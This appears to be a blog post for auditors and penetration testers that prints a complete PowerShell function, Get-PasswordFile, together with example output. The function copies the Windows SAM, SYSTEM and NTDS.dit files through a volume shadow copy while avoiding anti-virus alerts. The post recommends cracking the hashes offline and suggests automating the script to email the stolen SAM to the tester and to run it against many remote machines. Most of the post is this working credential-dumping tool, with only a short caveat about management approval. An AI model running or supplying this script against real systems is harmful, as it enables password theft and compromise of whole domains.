Extract Windows passwords

One problem auditors and penetration testers often have when auditing passwords is that most of the tools that are commonly used to extract passwords from a Windows system are viewed as malware by the anti-virus software installed on the system. Or if you have whitelisting software installed, then you are only able to execute the binaries approved in advance by management. But what if you want to rely on native tools and commands to do your assessment and you want to “live off the land”? That’s where Microsoft’s PowerShell comes in handy.

The folks at ObscureSecurity.com (http://www.obscuresecurity.blogspot.com/) contributed a function to the Microsoft Scripting Center called Get-PasswordFile. The idea of the script is to use native PowerShell functions to extract a local SAM database from a Microsoft Windows computer without causing damage to the underlying operating system or trigger an anti-virus alert. If you’re not sure what to do with a PowerShell function, here’s some advise you might want to read as well (http://www.mikepfeiffer.net/2010/06/how-to-add-functions-to-your-powershell-session/).

Here’s the powershell code for their function:

function Get-PasswordFile { 
<# 
.SYNOPSIS 

Copies either the SAM or NTDS.dit and system files to a specified directory. 

.PARAMETER DestinationPath 

Specifies the directory to the location where the password files are to be copied. 

.OUTPUTS 

None or an object representing the copied items. 

.EXAMPLE 

Get-PasswordFile "c:\users\public" 

#>

[CmdletBinding()] 
Param
( 
[Parameter(Mandatory = $true, Position = 0)] 
[ValidateScript({Test-Path $_ -PathType 'Container'})] 
[ValidateNotNullOrEmpty()] 
[String] 
$DestinationPath 
) 

#Define Copy-RawItem helper function from http://gallery.technet.microsoft.com/scriptcenter/Copy-RawItem-Private-NET-78917643 
function Copy-RawItem
{ 

[CmdletBinding()] 
[OutputType([System.IO.FileSystemInfo])] 
Param ( 
[Parameter(Mandatory = $True, Position = 0)] 
[ValidateNotNullOrEmpty()] 
[String]
$Path, 

[Parameter(Mandatory = $True, Position = 1)] 
[ValidateNotNullOrEmpty()] 
[String]
$Destination, 

[Switch]
$FailIfExists
) 

# Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile() 
$mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} 
$Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') 
$CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static')) 

# Perform the copy 
$CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) 

$HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 

if ($CopyResult -eq $False -and $HResult -ne 0) 
{ 
# An error occured. Display the Win32 error set by CopyFile 
throw ( New-Object ComponentModel.Win32Exception ) 
} 
else
{ 
Write-Output (Get-ChildItem $Destination) 
} 
} 

#Check for admin rights
if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
Write-Error "Not running as admin. Run the script with elevated credentials"
Return
}

#Get "vss" service startup type 
$VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode 
if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual} 

#Get "vss" Service status and start it if not running 
$VssStatus = (Get-Service vss).status 
if ($VssStatus -ne "Running") {Start-Service vss} 

#Check to see if we are on a DC 
$DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole 
$IsDC = $False
if ($DomainRole -gt 3) { 
$IsDC = $True
$NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File"
$FileDrive = ($NTDSLocation).Substring(0,3) 
} else {$FileDrive = $Env:HOMEDRIVE + '\'} 

#Create a volume shadow filedrive 
$WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy"
$ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible") 
$ReturnValue = $ShadowCopy.ReturnValue 

if ($ReturnValue -ne 0) { 
Write-Error "Shadow copy failed with a value of $ReturnValue"
Return
} 

#Get the DeviceObject Address 
$ShadowID = $ShadowCopy.ShadowID 
$ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject 

#If not a DC, copy System and SAM to specified directory 
if ($IsDC -ne $true) { 

$SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam" 
$SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system"

#Utilizes Copy-RawItem from Matt Graeber 
Copy-RawItem $SamPath "$DestinationPath\sam"
Copy-RawItem $SystemPath "$DestinationPath\system"
} else { 

#Else copy the NTDS.dit and system files to the specified directory 
$NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit" 
$SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system"

Copy-RawItem $NTDSPath "$DestinationPath\ntds"
Copy-RawItem $SystemPath "$DestinationPath\system"
} 

#Return "vss" service to previous state 
If ($VssStatus -eq "Stopped") {Stop-Service vss} 
If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled} 
}

example:

PS C:\pentest> Import-Module .\Get-PasswordFile.ps1
PS C:\pentest> Get-PasswordFile "c:\users\public"

Directory: C:\users\public

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/2/2019 9:37 PM 131072 sam
-a---- 4/2/2019 9:37 PM 19660800 system

we could also use : https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

Once you have the local SAM database from a computer the next step would be to examine the databases in your favorite password cracking tool offline, such as Cain from http://oxit.it.

In general those of you who know me know that I’m always a little hesitant to recommend that auditors especially consider password cracking at all. If an auditor chooses to run a script like this there should be a clear business reason for running the script, and should only be done with clearly documented management approval. But a script like this, downloading the SAM database from a local computer can still have quite a few benefits. Some of the controls an auditor might be able to test with this file are:

    Are only the appropriate user accounts on each local computer?
    Are any local user accounts using blank passwords?
    Are any local user accounts using the same password?
    Are any local user accounts using passwords that do not match the organization’s password policies?

So what else could we do with this script? From an automation and penetration testing perspective there’s all sorts of creative things we could do next. Just a few creative ideas you might consider:

    Automate the script to download the local SAM database
    Automate the script to encrypt the SAM and email it to the penetration tester
    Automate the script to run against multiple remote computers

There’s just all sorts of fun that a penetration tester or auditor could have with this tool if they really wanted to. Again, I hope this code is useful to you and your security efforts. To a great 2019!